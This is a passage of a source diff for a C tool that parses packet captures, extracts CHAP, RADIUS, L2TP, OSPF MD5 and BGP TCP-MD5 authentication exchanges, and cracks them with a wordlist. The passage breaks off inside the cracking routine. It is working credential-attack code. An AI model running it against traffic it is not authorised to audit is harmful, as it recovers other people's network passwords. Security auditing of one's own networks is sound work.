NULL){ - printf("Could not malloc %u bytes for CHAP response data!\n",ai->length); - return(NULL); - } - memcpy(ai->response_data, data + 5, ai->length); - chaplen = (256 * data[2]) + data[3]; - ai->username = (char*)malloc(chaplen - (ai->length + 4)); - if(ai->username == NULL){ - printf("Could not malloc %u bytes for CHAP username!\n",chaplen - (ai->length + 4)); - return(NULL); - } - memcpy(ai->username, data + 5 + ai->length, chaplen - (ai->length + 5)); - ai->username[chaplen - (ai->length + 5)] = '\x00'; // Null-terminate the username for later use. - return(ai); - break; - default: // We have no interest in success or failure messages as there is nothing to attack. - return(NULL); - } - break; - case IPv4: - // If the protocol is IPv4 we may find some UDP RADIUS / L2TP messages - if(length < 20) return(NULL); - if(length < 4 * (data[0] & 15)) return(NULL); - ai->ip_ptr = data; - - if(data[9] == '\x11'){ // UDP - return(decap(data + (4 * (data[0] & 15)), length - (4 * (unsigned char)(data[0] & 15)), UDP, ai)); - } - - if(data[9] == '\x59'){ //OSPFv2 - return(decap(data + (4 * (data[0] & 15)), length - (4 * (unsigned char)(data[0] & 15)), OSPFv2, ai)); + return(NULL); + + break; + case MPLS: + if(length < 4) return(NULL); + // Check bottom of stack bit to decide whether to keep stripping MPLS or try for Ethernet + if((data[2] & '\x01') == 0){ + return(decap(data + 4, length - 4, MPLS, ai)); // Not BOS, more MPLS + } + if(length > 4 && (data[4] & '\xf0') == '\x40'){ + return(decap(data + 4, length - 4, IPv4, ai)); // BOS, presume IPv4 + } else { + return(decap(data + 4, length - 4, ETHERNET, ai)); // BOS - try for Ethernet + } + break; + case PPPoE: + // Only a PPP header can follow a PPPoE session header + if(length < 6) return(NULL); + // Populate the PPPoE SID + ai->pppoesid = (data[2] * 256) + data[3]; + return(decap(data + 6, length - 6, PPP, ai)); + break; + case PPP: + // If the protocol is CHAP, decode it. If not, bail out. + if(length < 2) return(NULL); + if(memcmp(data, "\xc2\x23", 2) == 0){ + return(decap(data + 2, length - 2, CHAP, ai)); + } + else return(NULL); + break; + case CHAP: + if(length < 4) return(NULL); + // We only care about challenges and responses, so success and failure messages are ignored. + switch(data[0]){ + case CHAP_CHALLENGE: // If it's a challenge: + // Populate the auth ID, challenge data and challenge length. + ai->authid = data[1]; + ai->cr = CHAP_CHALLENGE; + ai->length = data[4]; + ai->challenge_data = (char*)malloc(ai->length); + if(ai->challenge_data == NULL){ + printf("Could not malloc %u bytes for CHAP challenge data!\n",ai->length); + return(NULL); + } + memcpy(ai->challenge_data, data + 5, ai->length); + return(ai); + break; + case CHAP_RESPONSE: // If it's a response: + // Populate the auth ID, response data and username. + ai->authid = data[1]; + ai->cr = CHAP_RESPONSE; + ai->length = data[4]; // Should always be 16 but why take chances? + ai->response_data = (char*)malloc(ai->length); + if(ai->response_data == NULL){ + printf("Could not malloc %u bytes for CHAP response data!\n",ai->length); + return(NULL); + } + memcpy(ai->response_data, data + 5, ai->length); + chaplen = (256 * data[2]) + data[3]; + ai->username = (char*)malloc(chaplen - (ai->length + 4)); + if(ai->username == NULL){ + printf("Could not malloc %u bytes for CHAP username!\n",chaplen - (ai->length + 4)); + return(NULL); + } + memcpy(ai->username, data + 5 + ai->length, chaplen - (ai->length + 5)); + ai->username[chaplen - (ai->length + 5)] = '\x00'; // Null-terminate the username for later use. + return(ai); + break; + default: // We have no interest in success or failure messages as there is nothing to attack. + return(NULL); + } + break; + case IPv4: + // If the protocol is IPv4 we may find some UDP RADIUS / L2TP messages + if(length < 20) return(NULL); + if(length < 4 * (data[0] & 15)) return(NULL); + ai->ip_ptr = data; + + if(data[9] == '\x11'){ // UDP + return(decap(data + (4 * (data[0] & 15)), length - (4 * (unsigned char)(data[0] & 15)), UDP, ai)); + } + + if(data[9] == '\x59'){ //OSPFv2 + return(decap(data + (4 * (data[0] & 15)), length - (4 * (unsigned char)(data[0] & 15)), OSPFv2, ai)); } - if(data[9] == '\x06'){ //TCP - return(decap(data + (4 * (data[0] & 15)), length - (4 * (unsigned char)(data[0] & 15)), TCP, ai)); - } - return(NULL); - - break; - case OSPFv2: - // If the protocol is OSPF IGP, check for version 2 packets with MD5 auth. - if(length < 24) return(NULL); // Must have full header - if(data[0] != '\x02') return(NULL); // OSPF version check - if(memcmp(data + 12, "\x00\x00\x00\x02",4) != 0) return(NULL); // Not MD5 auth - vlen = (((unsigned char)data[2]) * 256 + (unsigned char)data[3]); - if(length < (vlen + (unsigned char)data[19])) return(NULL); // Header lies! - - // Assuming the OSPF is sane, grab a copy of the packet contents - ai->cr = OSPF_MD5; - ai->challenge_data = (char*)malloc(vlen); - if(ai->challenge_data == NULL){ - printf("Error! Could not allocate memory for OSPF packet data!\n"); - return(NULL); - } - memcpy(ai->challenge_data, data, vlen); - ai->length = vlen; - // Now save a copy of the resulting hash - ai->response_data = (char*)malloc((unsigned char)data[19]); - if(ai->response_data == NULL){ - printf("Error! Could not allocate memory for OSPF packet data!\n"); - return(NULL); - } - memcpy(ai->response_data, data + vlen, (unsigned char)data[19]); - ai->username = (char*)malloc(40); - if(ai->username == NULL){ - printf("Error! Could not allocate memory for hostname!\n"); - return(NULL); - } - // Set the username to indicate the IP of the sending router and the key ID - snprintf(ai->username, 39, "OSPF host %u.%u.%u.%u key %u", - (unsigned char)ai->ip_ptr[12], - (unsigned char)ai->ip_ptr[13], - (unsigned char)ai->ip_ptr[14], - (unsigned char)ai->ip_ptr[15], - (unsigned char)data[18]); - return(ai); + if(data[9] == '\x06'){ //TCP + return(decap(data + (4 * (data[0] & 15)), length - (4 * (unsigned char)(data[0] & 15)), TCP, ai)); + } + return(NULL); + + break; + case OSPFv2: + // If the protocol is OSPF IGP, check for version 2 packets with MD5 auth. + if(length < 24) return(NULL); // Must have full header + if(data[0] != '\x02') return(NULL); // OSPF version check + if(memcmp(data + 12, "\x00\x00\x00\x02",4) != 0) return(NULL); // Not MD5 auth + vlen = (((unsigned char)data[2]) * 256 + (unsigned char)data[3]); + if(length < (vlen + (unsigned char)data[19])) return(NULL); // Header lies! + + // Assuming the OSPF is sane, grab a copy of the packet contents + ai->cr = OSPF_MD5; + ai->challenge_data = (char*)malloc(vlen); + if(ai->challenge_data == NULL){ + printf("Error! Could not allocate memory for OSPF packet data!\n"); + return(NULL); + } + memcpy(ai->challenge_data, data, vlen); + ai->length = vlen; + // Now save a copy of the resulting hash + ai->response_data = (char*)malloc((unsigned char)data[19]); + if(ai->response_data == NULL){ + printf("Error! Could not allocate memory for OSPF packet data!\n"); + return(NULL); + } + memcpy(ai->response_data, data + vlen, (unsigned char)data[19]); + ai->username = (char*)malloc(40); + if(ai->username == NULL){ + printf("Error! Could not allocate memory for hostname!\n"); + return(NULL); + } + // Set the username to indicate the IP of the sending router and the key ID + snprintf(ai->username, 39, "OSPF host %u.%u.%u.%u key %u", + (unsigned char)ai->ip_ptr[12], + (unsigned char)ai->ip_ptr[13], + (unsigned char)ai->ip_ptr[14], + (unsigned char)ai->ip_ptr[15], + (unsigned char)data[18]); + return(ai); case TCP: // If the protocol is TCP, check for MD5 signature (a la RFC 2385 for BGP) - if(length < 40) return(NULL); // Not enough frame left for a signature + if(length < 40) return(NULL); // Not enough frame left for a signature if((unsigned char)(data[12] & '\xf0') < '\xa0' ) return(NULL); // Header too short for MD5 signature - for(pos=20; data[pos] != 0; pos = pos + data[pos+1]){ // Cycle through the options, looking for - if(data[pos] == 19){ // Option kind 19 for TCP MD5 signature + for(pos=20; data[pos] != 0; pos = pos + data[pos+1]){ // Cycle through the options, looking for + if(data[pos] == 19){ // Option kind 19 for TCP MD5 signature - vlen = length - ((unsigned char)(data[12] & '\xf0') / 4); // data length + vlen = length - ((unsigned char)(data[12] & '\xf0') / 4); // data length - // Save a copy of the pseudoheader - ai->length = 12 + 20 + vlen; - ai->challenge_data = (char*)malloc(ai->length); - if(ai->challenge_data == NULL){ - printf("Error! Could not allocate memory for hash input!\n"); - return(NULL); - } - // As per RFC2385, the pseudoheader consists of: - memcpy(ai->challenge_data, ai->ip_ptr + 12, 8); // Source and destination IP, - ai->challenge_data[8] = 0; // zero padded... - ai->challenge_data[9] = ai->ip_ptr[9]; // ... protocol number - ai->challenge_data[10] = (unsigned char)(length / 256); // and segment length. + // Save a copy of the pseudoheader + ai->length = 12 + 20 + vlen; + ai->challenge_data = (char*)malloc(ai->length); + if(ai->challenge_data == NULL){ + printf("Error! Could not allocate memory for hash input!\n"); + return(NULL); + } + // As per RFC2385, the pseudoheader consists of: + memcpy(ai->challenge_data, ai->ip_ptr + 12, 8); // Source and destination IP, + ai->challenge_data[8] = 0; // zero padded... + ai->challenge_data[9] = ai->ip_ptr[9]; // ... protocol number + ai->challenge_data[10] = (unsigned char)(length / 256); // and segment length. ai->challenge_data[11] = (unsigned char)(length % 256); - memcpy(ai->challenge_data+12, data, 16); // We also add the TCP header... - memcpy(ai->challenge_data+28, "\x00\x00\x00\x00", 4); // ... with a checksum of zero assumed - memcpy(ai->challenge_data+32, data + ((unsigned char)(data[12] & '\xf0') / 4), vlen); // and the segment data - - // Save a copy of the provided signature hash - ai->response_data = (char*)malloc(16); - if(ai->response_data == NULL){ - printf("Error! Could not allocate memory for hash!\n"); - return(NULL); - } - // Build a descriptive username - memcpy(ai->response_data, data + pos + 2, 16); - ai->username = (char*)malloc(45); - if(ai->username == NULL){ - printf("Error! Could not allocate memory for hostname!\n"); - return(NULL); - } - // Set the username to the source and destination IPs - snprintf(ai->username, 39, "TCP from %u.%u.%u.%u to %u.%u.%u.%u", - (unsigned char)ai->ip_ptr[12], - (unsigned char)ai->ip_ptr[13], - (unsigned char)ai->ip_ptr[14], - (unsigned char)ai->ip_ptr[15], + memcpy(ai->challenge_data+12, data, 16); // We also add the TCP header... + memcpy(ai->challenge_data+28, "\x00\x00\x00\x00", 4); // ... with a checksum of zero assumed + memcpy(ai->challenge_data+32, data + ((unsigned char)(data[12] & '\xf0') / 4), vlen); // and the segment data + + // Save a copy of the provided signature hash + ai->response_data = (char*)malloc(16); + if(ai->response_data == NULL){ + printf("Error! Could not allocate memory for hash!\n"); + return(NULL); + } + // Build a descriptive username + memcpy(ai->response_data, data + pos + 2, 16); + ai->username = (char*)malloc(45); + if(ai->username == NULL){ + printf("Error! Could not allocate memory for hostname!\n"); + return(NULL); + } + // Set the username to the source and destination IPs + snprintf(ai->username, 39, "TCP from %u.%u.%u.%u to %u.%u.%u.%u", + (unsigned char)ai->ip_ptr[12], + (unsigned char)ai->ip_ptr[13], + (unsigned char)ai->ip_ptr[14], + (unsigned char)ai->ip_ptr[15], (unsigned char)ai->ip_ptr[16], (unsigned char)ai->ip_ptr[17], (unsigned char)ai->ip_ptr[18], @@ -298,439 +299,446 @@ auth_instance_t *decap(char *data, unsigned int length, char type, auth_instance // Set the type to attack ai->cr = IP_MD5; - return(ai); - } + return(ai); + } } return(NULL); break; - case UDP: - // If the protocol is UDP, check for RADIUS / L2TP port numbers - if(length < 8) return(NULL); - - if(memcmp(data + 2, "\x07\x14",2) == 0){ // RADIUS port 1812 - return(decap(data + 8, length - 8, RADIUS, ai)); - } else if(memcmp(data + 2, "\x06\xa5",2) == 0){ - return(decap(data + 8, length - 8, L2TP, ai)); - } else return(NULL); - break; - case RADIUS: - // If a RADIUS access request packet is found, we can try for a challenge / reponse pair. - if(length < 20) return(NULL); // Must be large enough for a full RADIUS header - if(data[0] != '\x01') return(NULL); // Only interested in Access-Requests - vlen = (256*(unsigned char)data[2])+(unsigned char)data[3]; - if(vlen > length) return(NULL); // If the header says length > remaining data, bail out - - return(decap(data + 20, vlen - 20, RADAVP, ai)); - break; - case RADAVP: - // Work through the RADIUS AVPs to try and gather auths. - if(length < 2 || (char)data[1] > length){ - // If we are at the end but we have an authentication, return it. - if(ai->challenge_data != NULL && ai->response_data != NULL){ - ai->cr = CHAP_BOTH; - return(ai); - } else return(NULL); - } - vlen = (unsigned char)data[1] - 2; - switch(data[0]){ - case '\x03': // CHAP response data - ai->authid = data[2]; - ai->response_data = (char*)malloc(vlen); - if(ai->response_data == NULL){ - printf("Error! Could not allocate memory for CHAP response data!\n"); - return(NULL); - } - memcpy(ai->response_data, data + 3, vlen - 1); - break; - case '\x01': // Username - ai->username = (char*)malloc(vlen + 1); - if(ai->username == NULL){ - printf("Error! Could not allocate memory for username!\n"); - return(NULL); - } - memcpy(ai->username, data + 2, vlen); - ai->username[vlen]='\x00'; // Don't forget to null terminate it. - break; - case '\x3c': // CHAP challenge data - ai->challenge_data = (char*)malloc(vlen); - if(ai->challenge_data == NULL){ - printf("Error! Could not allocate memory for CHAP challenge data!\n"); - return(NULL); - } - memcpy(ai->challenge_data, data + 2, vlen); - ai->length = vlen; - break; - } - return(decap(data + vlen + 2, length - (vlen + 2), RADAVP, ai)); - break; - case L2TP: - // If we get an L2TP ICCN packet, it may contain a CHAP authentication. - if(length < 12) return(NULL); - if((data[1] & '\x0f') != '\x02' || data[0] & '\xcb' != '\xc8') return(NULL); - vlen = (256*(unsigned char)data[2])+(unsigned char)data[3]; - if(vlen > length) return(NULL); // If the header says length > remaining data, bail out - - return(decap(data + 12, vlen - 12, L2AVP, ai)); - break; - case L2AVP: - // Work through the L2TP AVPs to try and gather auths. - if(length < 6){ - // If we are at the end but we have an authentication, return it. - if(ai->challenge_data != NULL && ai->response_data != NULL){ - ai->cr = CHAP_BOTH; - return(ai); - } else return(NULL); - } - vlen = (256 * ((unsigned char)data[0] & 3)) + (unsigned char)data[1]; - if(vlen > length) return(NULL); - - // If this isn't a reserved AVP, we're not interested. - if(memcmp(data + 2, "\x00\x00\x00", 3) != 0) return(decap(data + vlen, length - vlen, L2AVP, ai)); - - switch(data[5]){ - case '\x00': // Control message type - // CHAP should only be in an ICCN message, so abandon anything else - if(memcmp(data + 6, "\x00\x0c", 2) != 0){ - return(NULL); - } - break; - case '\x1e': // Username - ai->username = (char*)malloc(vlen - 5); - if(ai->username == NULL){ - printf("Error! Could not allocate memory for username!\n"); - return(NULL); - } - memcpy(ai->username, data + 6, vlen - 6); - ai->username[vlen-6]='\x00'; // Don't forget to null terminate it. - break; - case '\x1f': // CHAP challenge data - ai->challenge_data = (char*)malloc(vlen - 6); - if(ai->challenge_data == NULL){ - printf("Error! Could not allocate memory for CHAP challenge data!\n"); - return(NULL); - } - memcpy(ai->challenge_data, data + 6, vlen - 6); - ai->length = vlen - 6; - break; - case '\x20': // Authentication ID - ai->authid = (unsigned char)data[7]; - break; - case '\x21': // CHAP response data - ai->response_data = (char*)malloc(vlen - 6); - if(ai->response_data == NULL){ - printf("Error! Could not allocate memory for CHAP response!\n"); - return(NULL); - } - memcpy(ai->response_data, data + 6, vlen - 6); - break; - } - return(decap(data + vlen, length - vlen, L2AVP, ai)); - break; - } - return(NULL); + case UDP: + // If the protocol is UDP, check for RADIUS / L2TP port numbers + if(length < 8) return(NULL); + + if(memcmp(data + 2, "\x07\x14",2) == 0){ // RADIUS port 1812 + return(decap(data + 8, length - 8, RADIUS, ai)); + } else if(memcmp(data + 2, "\x06\xa5",2) == 0){ + return(decap(data + 8, length - 8, L2TP, ai)); + } else return(NULL); + break; + case RADIUS: + // If a RADIUS access request packet is found, we can try for a challenge / reponse pair. + if(length < 20) return(NULL); // Must be large enough for a full RADIUS header + if(data[0] != '\x01') return(NULL); // Only interested in Access-Requests + vlen = (256*(unsigned char)data[2])+(unsigned char)data[3]; + if(vlen > length) return(NULL); // If the header says length > remaining data, bail out + + return(decap(data + 20, vlen - 20, RADAVP, ai)); + break; + case RADAVP: + // Work through the RADIUS AVPs to try and gather auths. + if(length < 2 || (char)data[1] > length){ + // If we are at the end but we have an authentication, return it. + if(ai->challenge_data != NULL && ai->response_data != NULL){ + ai->cr = CHAP_BOTH; + return(ai); + } else return(NULL); + } + vlen = (unsigned char)data[1] - 2; + switch(data[0]){ + case '\x03': // CHAP response data + ai->authid = data[2]; + ai->response_data = (char*)malloc(vlen); + if(ai->response_data == NULL){ + printf("Error! Could not allocate memory for CHAP response data!\n"); + return(NULL); + } + memcpy(ai->response_data, data + 3, vlen - 1); + break; + case '\x01': // Username + ai->username = (char*)malloc(vlen + 1); + if(ai->username == NULL){ + printf("Error! Could not allocate memory for username!\n"); + return(NULL); + } + memcpy(ai->username, data + 2, vlen); + ai->username[vlen]='\x00'; // Don't forget to null terminate it. + break; + case '\x3c': // CHAP challenge data + ai->challenge_data = (char*)malloc(vlen); + if(ai->challenge_data == NULL){ + printf("Error! Could not allocate memory for CHAP challenge data!\n"); + return(NULL); + } + memcpy(ai->challenge_data, data + 2, vlen); + ai->length = vlen; + break; + } + return(decap(data + vlen + 2, length - (vlen + 2), RADAVP, ai)); + break; + case L2TP: + // If we get an L2TP ICCN packet, it may contain a CHAP authentication. + if(length < 12) return(NULL); + if((data[1] & '\x0f') != '\x02' || data[0] & '\xcb' != '\xc8') return(NULL); + vlen = (256*(unsigned char)data[2])+(unsigned char)data[3]; + if(vlen > length) return(NULL); // If the header says length > remaining data, bail out + + return(decap(data + 12, vlen - 12, L2AVP, ai)); + break; + case L2AVP: + // Work through the L2TP AVPs to try and gather auths. + if(length < 6){ + // If we are at the end but we have an authentication, return it. + if(ai->challenge_data != NULL && ai->response_data != NULL){ + ai->cr = CHAP_BOTH; + return(ai); + } else return(NULL); + } + vlen = (256 * ((unsigned char)data[0] & 3)) + (unsigned char)data[1]; + if(vlen > length) return(NULL); + + // If this isn't a reserved AVP, we're not interested. + if(memcmp(data + 2, "\x00\x00\x00", 3) != 0) return(decap(data + vlen, length - vlen, L2AVP, ai)); + + switch(data[5]){ + case '\x00': // Control message type + // CHAP should only be in an ICCN message, so abandon anything else + if(memcmp(data + 6, "\x00\x0c", 2) != 0){ + return(NULL); + } + break; + case '\x1e': // Username + ai->username = (char*)malloc(vlen - 5); + if(ai->username == NULL){ + printf("Error! Could not allocate memory for username!\n"); + return(NULL); + } + memcpy(ai->username, data + 6, vlen - 6); + ai->username[vlen-6]='\x00'; // Don't forget to null terminate it. + break; + case '\x1f': // CHAP challenge data + ai->challenge_data = (char*)malloc(vlen - 6); + if(ai->challenge_data == NULL){ + printf("Error! Could not allocate memory for CHAP challenge data!\n"); + return(NULL); + } + memcpy(ai->challenge_data, data + 6, vlen - 6); + ai->length = vlen - 6; + break; + case '\x20': // Authentication ID + ai->authid = (unsigned char)data[7]; + break; + case '\x21': // CHAP response data + ai->response_data = (char*)malloc(vlen - 6); + if(ai->response_data == NULL){ + printf("Error! Could not allocate memory for CHAP response!\n"); + return(NULL); + } + memcpy(ai->response_data, data + 6, vlen - 6); + break; + } + return(decap(data + vlen, length - vlen, L2AVP, ai)); + break; + } + return(NULL); } void clean(auth_instance_t *ai){ // Populates an authentication instance with default values - if(ai == NULL) return; - - memcpy(ai->dmac, "\x00\x00\x00\x00\x00\x00", 6); - memcpy(ai->smac, "\x00\x00\x00\x00\x00\x00", 6); - ai->svlan = 0; - ai->cvlan = 0; - ai->pppoesid = 0; - ai->authid = 0; - ai->cr = CHAP_NONE; - ai->length = 0; - ai->challenge_data = NULL; - ai->response_data = NULL; - ai->username = NULL; + if(ai == NULL) return; + + memcpy(ai->dmac, "\x00\x00\x00\x00\x00\x00", 6); + memcpy(ai->smac, "\x00\x00\x00\x00\x00\x00", 6); + ai->svlan = 0; + ai->cvlan = 0; + ai->pppoesid = 0; + ai->authid = 0; + ai->cr = CHAP_NONE; + ai->length = 0; + ai->challenge_data = NULL; + ai->response_data = NULL; + ai->username = NULL; } auth_list_item_t *graft(auth_list_item_t *root, auth_list_item_t *newitem){ // Adds an authentication list item to an existing list (or NULL), returning // a pointer to the root. - auth_list_item_t *current = root; - if(root == NULL) return(newitem); + auth_list_item_t *current = root; + if(root == NULL) return(newitem); - while(current->next != NULL) current = current->next; - current->next = newitem; - newitem->prev = current; - return(root); + while(current->next != NULL) current = current->next; + current->next = newitem; + newitem->prev = current; + return(root); } auth_list_item_t *node(auth_instance_t *item){ // Creates an authentication list item from an authentication instance. - auth_list_item_t *n = (auth_list_item_t*)malloc(sizeof(auth_list_item_t)); - - if(n == NULL) return(NULL); - n->item = item; - n->next = NULL; - n->prev = NULL; - return(n); + auth_list_item_t *n = (auth_list_item_t*)malloc(sizeof(auth_list_item_t)); + + if(n == NULL) return(NULL); + n->item = item; + n->next = NULL; + n->prev = NULL; + return(n); } puzzle_t *addpuzzle(puzzle_t *root, auth_list_item_t *challenge, auth_list_item_t *response, char type){ // Generates a puzzle from a challenge / response pair and appends it to the list of puzzles. - puzzle_t *current; - puzzle_t *newnode = (puzzle_t*)malloc(sizeof(puzzle_t)); - - if(newnode == NULL){ - printf("Error: Could not allocate memory for puzzle!"); - return(root); - } - - newnode->next = NULL; - newnode->authid = challenge->item->authid; - newnode->length = challenge->item->length; - newnode->challenge = challenge->item->challenge_data; - newnode->response = response->item->response_data; - newnode->username = response->item->username; - newnode->password = NULL; - newnode->type = type; - - if(root == NULL) return(newnode); - for(current = root; current->next != NULL; current = current->next); - current->next = newnode; - return(root); + puzzle_t *current; + puzzle_t *newnode = (puzzle_t*)malloc(sizeof(puzzle_t)); + + if(newnode == NULL){ + printf("Error: Could not allocate memory for puzzle!"); + return(root); + } + + newnode->next = NULL; + newnode->authid = challenge->item->authid; + newnode->length = challenge->item->length; + newnode->challenge = challenge->item->challenge_data; + newnode->response = response->item->response_data; + newnode->username = response->item->username; + newnode->password = NULL; + newnode->type = type; + + if(root == NULL) return(newnode); + for(current = root; current->next != NULL; current = current->next); + current->next = newnode; + return(root); } puzzle_t *pair_up(auth_list_item_t *chaps){ - puzzle_t *puzzles = NULL; - auth_list_item_t *response = NULL, - *challenge = NULL; - - // Now cycle through the responses and find their corresponding challenges - // This is done by working forward through the list until we find a response, - // then working backwards from there to find the most recent challenge that - // matches that PPP session based on MAC address, S&C VLAN, PPPoE session - // ID and authentication ID. - for(response = chaps; response != NULL; response = response->next){ - - if(response->item->cr == OSPF_MD5){ - challenge = response; - puzzles = addpuzzle(puzzles, challenge, response, OSPF_MD5); - continue; - } - if(response->item->cr == IP_MD5){ - challenge = response; - puzzles = addpuzzle(puzzles, challenge, response, IP_MD5); - continue; - } - if(response->item->cr == CHAP_CHALLENGE) continue; - if(response->item->cr == CHAP_BOTH){ - challenge = response; - puzzles = addpuzzle(puzzles, challenge, response, CHAP); - continue; - } - for(challenge = response; challenge != NULL; challenge = challenge->prev){ - // Go through previous challenges to find one matching our response - if(challenge->item->cr == CHAP_CHALLENGE && - memcmp(challenge->item->smac, response->item->dmac, 6) == 0 && - memcmp(challenge->item->dmac, response->item->smac, 6) == 0 && - challenge->item->svlan == response->item->svlan && - challenge->item->cvlan == response->item->cvlan && - challenge->item->pppoesid == response->item->pppoesid && - challenge->item->authid == response->item->authid) - break; - } - // If we can't find a matching challenge then we can't do anything. - if(challenge == NULL) continue; - - // If we did find a match, create an entry in our list of hashes. - puzzles = addpuzzle(puzzles, challenge, response, CHAP); - } - return(puzzles); + puzzle_t *puzzles = NULL; + auth_list_item_t *response = NULL, + *challenge = NULL; + + // Now cycle through the responses and find their corresponding challenges + // This is done by working forward through the list until we find a response, + // then working backwards from there to find the most recent challenge that + // matches that PPP session based on MAC address, S&C VLAN, PPPoE session + // ID and authentication ID. + for(response = chaps; response != NULL; response = response->next){ + + if(response->item->cr == OSPF_MD5){ + challenge = response; + puzzles = addpuzzle(puzzles, challenge, response, OSPF_MD5); + continue; + } + if(response->item->cr == IP_MD5){ + challenge = response; + puzzles = addpuzzle(puzzles, challenge, response, IP_MD5); + continue; + } + if(response->item->cr == CHAP_CHALLENGE) continue; + if(response->item->cr == CHAP_BOTH){ + challenge = response; + puzzles = addpuzzle(puzzles, challenge, response, CHAP); + continue; + } + for(challenge = response; challenge != NULL; challenge = challenge->prev){ + // Go through previous challenges to find one matching our response + if(challenge->item->cr == CHAP_CHALLENGE && + memcmp(challenge->item->smac, response->item->dmac, 6) == 0 && + memcmp(challenge->item->dmac, response->item->smac, 6) == 0 && + challenge->item->svlan == response->item->svlan && + challenge->item->cvlan == response->item->cvlan && + challenge->item->pppoesid == response->item->pppoesid && + challenge->item->authid == response->item->authid) + break; + } + // If we can't find a matching challenge then we can't do anything. + if(challenge == NULL) continue; + + // If we did find a match, create an entry in our list of hashes. + puzzles = addpuzzle(puzzles, challenge, response, CHAP); + } + return(puzzles); } puzzle_t *parse_pcap(FILE *capfile){ - char *memblock = NULL; - auth_list_item_t *chaps = NULL; - auth_instance_t *ai = NULL, - *decapai = NULL; - guint32 caplen = 0; - puzzle_t *puzzles = NULL, - *p = NULL; - - // Start parsing the capture file: - rewind(capfile); - clearerr(capfile); - memblock = (char*)malloc(sizeof(pcap_hdr_t)); - if(memblock == NULL){ - printf("Insufficient memory to load capture header.\n"); - return(NULL); - } - // Read the pcap header - if(fread (memblock, 1, sizeof(pcap_hdr_t), capfile) != sizeof(pcap_hdr_t)){ - printf("Truncated capture file header - aborting.\n"); - free(memblock); - return(NULL); - } - // Verify the magic number in the header indicates a pcap file - if(((pcap_hdr_t*)memblock)->magic_number != 2712847316){ - printf("\nError!\nThis is not a valid pcap file. If it has been saved as pcap-ng\nconsider converting it to original pcap format with tshark or similar.\n"); - free(memblock); - return(NULL); - } - - // Generate an authentication instance template ready to use - ai = (auth_instance_t*)malloc(sizeof(auth_instance_t)); - if(ai == NULL){ - printf("Error: could not allocate memory for authentication instance!\n"); - return(NULL); - } - - // Read in the packets and search for any CHAP. Store the challenges and responses in a list. - while(feof(capfile) | ferror(capfile) == 0){ - free(memblock); - // Get the packet record header and examine it for the packet size - memblock = malloc(sizeof(pcaprec_hdr_t)); - if(memblock == NULL){ - printf("Error: Could not allocate memory for pcap record header!\n"); - return(NULL); - } - if(fread (memblock, 1, sizeof(pcaprec_hdr_t), capfile) != sizeof(pcaprec_hdr_t)){ -// printf("Error: Truncated pcap file reading record header!\n"); - break; - } - caplen = ((pcaprec_hdr_t*)memblock)->incl_len; - free(memblock); - memblock = malloc(caplen); - if(memblock == NULL){ - printf("Error: Could not allocate memory for pcap record header!\n"); - return(NULL); - } - // Get the actual packet data and attempt to parse it - if(fread (memblock, 1, caplen, capfile) != caplen){ - printf("Error: Truncated pcap file reading capture!\n"); - break; - } - - // Start with a fresh authentication instance template. - clean(ai); - decapai = decap(memblock, caplen, ETHERNET, ai); - if(decapai != NULL){ - // We found some CHAP, so store it - // Generate a fresh authentication instance template for use in the next round - ai = (auth_instance_t*)malloc(sizeof(auth_instance_t)); - if(ai == NULL){ - printf("Error: could not allocate memory for authentication instance!\n"); - return(NULL); - } - // Then store the current authentication instance in a list - chaps = graft(chaps, node(decapai)); - } - } - free(memblock); - - return(pair_up(chaps)); + char *memblock = NULL; + auth_list_item_t *chaps = NULL; + auth_instance_t *ai = NULL, + *decapai = NULL; + guint32 caplen = 0; + puzzle_t *puzzles = NULL, + *p = NULL; + + // Start parsing the capture file: + rewind(capfile); + clearerr(capfile); + memblock = (char*)malloc(sizeof(pcap_hdr_t)); + if(memblock == NULL){ + printf("Insufficient memory to load capture header.\n"); + return(NULL); + } + // Read the pcap header + if(fread (memblock, 1, sizeof(pcap_hdr_t), capfile) != sizeof(pcap_hdr_t)){ + printf("Truncated capture file header - aborting.\n"); + free(memblock); + return(NULL); + } + // Verify the magic number in the header indicates a pcap file + if(((pcap_hdr_t*)memblock)->magic_number != 2712847316){ + printf("\nError!\nThis is not a valid pcap file. If it has been saved as pcap-ng\nconsider converting it to original pcap format with tshark or similar.\n"); + free(memblock); + return(NULL); + } + + // Generate an authentication instance template ready to use + ai = (auth_instance_t*)malloc(sizeof(auth_instance_t)); + if(ai == NULL){ + printf("Error: could not allocate memory for authentication instance!\n"); + return(NULL); + } + + // Read in the packets and search for any CHAP. Store the challenges and responses in a list. + while(feof(capfile) | ferror(capfile) == 0){ + free(memblock); + // Get the packet record header and examine it for the packet size + memblock = malloc(sizeof(pcaprec_hdr_t)); + if(memblock == NULL){ + printf("Error: Could not allocate memory for pcap record header!\n"); + return(NULL); + } + if(fread (memblock, 1, sizeof(pcaprec_hdr_t), capfile) != sizeof(pcaprec_hdr_t)){ +// printf("Error: Truncated pcap file reading record header!\n"); + break; + } + caplen = ((pcaprec_hdr_t*)memblock)->incl_len; + free(memblock); + memblock = malloc(caplen); + if(memblock == NULL){ + printf("Error: Could not allocate memory for pcap record header!\n"); + return(NULL); + } + // Get the actual packet data and attempt to parse it + if(fread (memblock, 1, caplen, capfile) != caplen){ + printf("Error: Truncated pcap file reading capture!\n"); + break; + } + + // Start with a fresh authentication instance template. + clean(ai); + decapai = decap(memblock, caplen, ETHERNET, ai); + if(decapai != NULL){ + // We found some CHAP, so store it + // Generate a fresh authentication instance template for use in the next round + ai = (auth_instance_t*)malloc(sizeof(auth_instance_t)); + if(ai == NULL){ + printf("Error: could not allocate memory for authentication instance!\n"); + return(NULL); + } + // Then store the current authentication instance in a list + chaps = graft(chaps, node(decapai)); + } + } + free(memblock); + + return(pair_up(chaps)); } void crack(puzzle_t *puzzles, FILE *wordfile){ // Attempts to solve challenge / response "puzzles" using candidate passwords // from a word list. - puzzle_t *currentpuzzle = NULL; - char *password = (char*)malloc(256), - *base, - hash[16]; - int pwlen = 0; - - for(currentpuzzle = puzzles; currentpuzzle != NULL; currentpuzzle = currentpuzzle->next){ - base = (char*)malloc(currentpuzzle->length + 257); - rewind(wordfile); - while(feof(wordfile) == 0){ - if(fgets(password, 255, wordfile) == NULL) break; - pwlen = strlen(password); - if(pwlen > 0 && password[pwlen-1] == '\n') password[pwlen-1] = '\x00'; - if(currentpuzzle->type == CHAP){ - // Next job is to concatenate the auth ID with the plaintext password and the challenge data: - base[0] = (char)currentpuzzle->authid; - strcpy(base+1, password); - memcpy(base+pwlen, currentpuzzle->challenge, currentpuzzle->length); - // Obtain the MD5 hash of this and compare it to the one in the CHAP response: - MD5(base, pwlen + 